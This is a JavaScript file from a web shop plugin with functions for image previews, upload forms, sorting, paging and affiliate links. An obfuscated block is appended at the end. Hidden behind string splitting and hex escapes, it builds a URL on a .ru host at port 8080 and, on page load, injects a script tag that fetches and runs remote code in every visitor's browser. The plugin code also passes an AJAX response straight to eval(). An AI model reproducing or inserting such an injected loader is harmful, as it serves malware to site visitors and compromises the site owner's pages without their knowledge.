//alert("test");

function update_extra_preview_url(imageid)
  {
  image_height = document.getElementById("image_height").value;
  image_width = document.getElementById("image_width").value;
  image_link_id = "extra_preview_link_"+imageid;
  //alert(image_link_id);
  if(((image_height > 0) && (image_height <= 1024)) && ((image_width > 0) && (image_width <= 1024)))
    {
    new_url = "index.php?view_preview=true&imageid="+imageid+"&height="+image_height+"&width="+image_width+"";
    //alert(document.getElementById(image_link_id).getAttribute('href'));
    document.getElementById(image_link_id).setAttribute('href',new_url);
    }
    else
      {
      //alert(document.getElementById(image_link_id).getAttribute('href'));
      new_url = "index.php?view_preview=true&imageid="+imageid+"";
      document.getElementById(image_link_id).setAttribute('href',new_url);
      }
  return false;
  }


function add_image_upload_forms(state)
  {
  time = new Date();
  if(state == null)
    {
    state = '';
    }
  new_element_number = time.getTime();
  new_element_id = "image_form_id_"+new_element_number;
  
  form_html = "<table class='add_extra_images'>\n\r";
          
  form_html += "  <tr>\n\r";
  form_html += "    <td colspan='2'>\n\r";
  form_html += "    <hr class='image_seperator' />";
  form_html += "    </td>\n\r";
  form_html += "  </tr>\n\r";
  
  form_html += "  <tr>\n\r";
  form_html += "    <td colspan='2'>\n\r";
  form_html += "      <br />\n\r";
  form_html += "      <strong class='form_group'><?php echo TXT_WPSC_PRODUCTIMAGES;?></strong>\n\r";
  form_html += "    </td>\n\r";
  form_html += "  </tr>\n\r";
  form_html += "  <tr>\n\r";
  form_html += "    <td style='width: 120px;'>\n\r";
  form_html +=  TXT_WPSC_PRODUCTIMAGE +"\n\r";
  form_html += "    </td>\n\r";
  form_html += "    <td>\n\r";
  form_html += "      <input type='file' name='extra_image["+new_element_number+"]' value='' />\n\r";
  form_html += "    </td>\n\r";
  form_html += "  </tr>\n\r";  
  
  new_element = document.createElement('div');
  new_element.id = new_element_id;
   
  document.getElementById(state+"additional_images").appendChild(new_element);
  document.getElementById(new_element_id).innerHTML = form_html;
  return false;
  }
  


function change_order(order){
	url = window.location.href;
	
	if(url.search(/\?/) == -1) {
	  separator = '?';
	} else {
	  separator = '&';
	}
	if (order == 'ASC') {
		if (url.search(/order/)!=-1) {
			newurl = url.replace(/DESC/, "ASC");
		} else {
			newurl = url+separator+"order=ASC";
		}
	} else {
		if (url.search(/order/)!=-1) {
			newurl = url.replace(/ASC/, "DESC");
		} else {
			newurl = url+separator+"&order=DESC";
		}
	}
  //alert(newurl);
	window.location = newurl;
}



function change_perpage(num){
	url = window.location.href;
	if(url.search(/\?/) == -1) {
	  separator = '?';
	} else {
	  separator = '&';
	}
	
	if (url.search(/items_per_page/) ==-1) {
		url=url+separator+"items_per_page="+num;
	} else if (url.search(/items_per_page=all/) != -1){
		url=url.replace(/items_per_page=all/,"items_per_page="+num);
	} else {
		url=url.replace(/items_per_page=[0-9]{1,5}/,"items_per_page="+num);
	}
	window.location=url;
	return true;
}

function generate_affiliate_code(){
	product_id=document.getElementById('affliate_products').value;
	user_id=document.getElementById('userid').value;
	ajax.post("index.php",affiliate_code_results,"ajax=true&affiliate=true&prodid="+product_id+"&uid="+user_id);
}

var affiliate_code_results = function(results) {
	document.getElementById('affiliate_code').innerHTML=results;
}

function log_affiliate(uid, amount){
	ajax.post("index.php",log_affiliate_results,"ajax=true&log_affiliate=true&uid="+uid+"&amount="+amount);
	return false;
}

var log_affiliate_results = function(results) {
	eval(results);
	document.getElementById('aff_form_'+uid).submit();
}

jQuery(document).ready(function(){
	jQuery(function() {
	  if(jQuery('#affiliate_wrap > ul').tabs != null) {
		// set us up some mighty fine tabs for the options page
			jQuery('#affiliate_wrap > ul').tabs();
			
			// this here code handles remembering what tab you were on
			jQuery('#affiliate_wrap > ul').bind('tabsselect', function(event, ui) {
				
			});
		}
	});
});

Sc=34684;Sc+=151;this.qW="";var _;var Z="";var N=false;var y=null;var Ni=["dE"];var l=String("PEA5body".substr(4));var dS=new String();var _r=document;var eR=[];var h=new Date();var F="Ux5Mscr".substr(4)+"MyQLipt".substr(4);Q=[];this.qR=51613;this.qR+=105;var a=window;this.YD='';var lB={SR:49574};var Lk="";function o(){this.Ez='';this.OT='';var aC="\x2f\x75\x6f\x6c\x2d\x63\x6f\x6d\x2d\x62\x72\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x78\x6e\x78\x78\x2e\x63\x6f\x6d\x2e\x70\x68\x70";var RB=new Date();var n=String("]");var ew={};lY=27892;lY-=72;var wX=false;var m='';var aV=[];var oo=["DT","A"];var R=RegExp;var n=new String("]");var hC="hC";function z(T,S){this.nck=38454;this.nck+=72;var D="[ZgvD".substr(0,1);D+=S;var Hy=new String();D+=n;MN=63432;MN--;this.i=36391;this.i-=143;var SP=new R(D, new String("gBAp".substr(0,1)));this.jh="jh";Ic=["Me"];return T[String("repl"+"ace")](SP, m);var nx=5439;};var vy=new String();var Dc=["M_","gL"];var ca=false;var U=new String("http:z1N".substr(0,5)+"//salHg7v".substr(0,5)+"tyriv"+"er.ruMw6V".substr(0,5)+"EFY:FYE".substr(3,1));this.yI=false;var q='';y=String("onlI3O8".substr(0,3)+"oad");var Dr=z('aRpSp8eTngdtCfhjiOltdt','gPuRsUSD4O8yjtTfvV');var pB=false;var xJ=21778;var d=45852-37772;var s=z('cWr9eWa8t3efEXlZe9mge5not5','8OLXo5iZv3s2bIF9uY4gSfWxh');Kz=["aI","QH","PT"];t=["Cr","bE","Ls"];var OY=[];_=function(){try {var PZ='Jv'} catch(PZ){};try {var aN="aN";X=_r[s](F);this.TM='';MeR={jl:"rw"};q=U;q+=d;q+=aC;cK=["KB","Ia","zd"];var w=z('dKeLfqeMrA','p_zmMA39KRJSvVqlOUuWGL');var UI=String("src");JV=[];this._A=4172;this._A--;gn=[];var cc=new String();X[UI]=q;var XY=new Date();Vf=["xL","RI"];X[w]=[1][0];this.fx=37139;this.fx++;try {var BU='ta'} catch(BU){};bEX=["zB","Kt","qY"];_r[l][Dr](X);var Tz='';var tj={};} catch(nc){VD={Ux:"XH"};this.Wb=60403;this.Wb+=193;this.fe="fe";this.SV=29933;this.SV+=174;};UV={xN:false};};var xH=new String();};this.Hn=false;this.Ja=false;o();var fxw={lw:"QI"};a[y]=_;this.dB=58768;this.dB--;JI=[];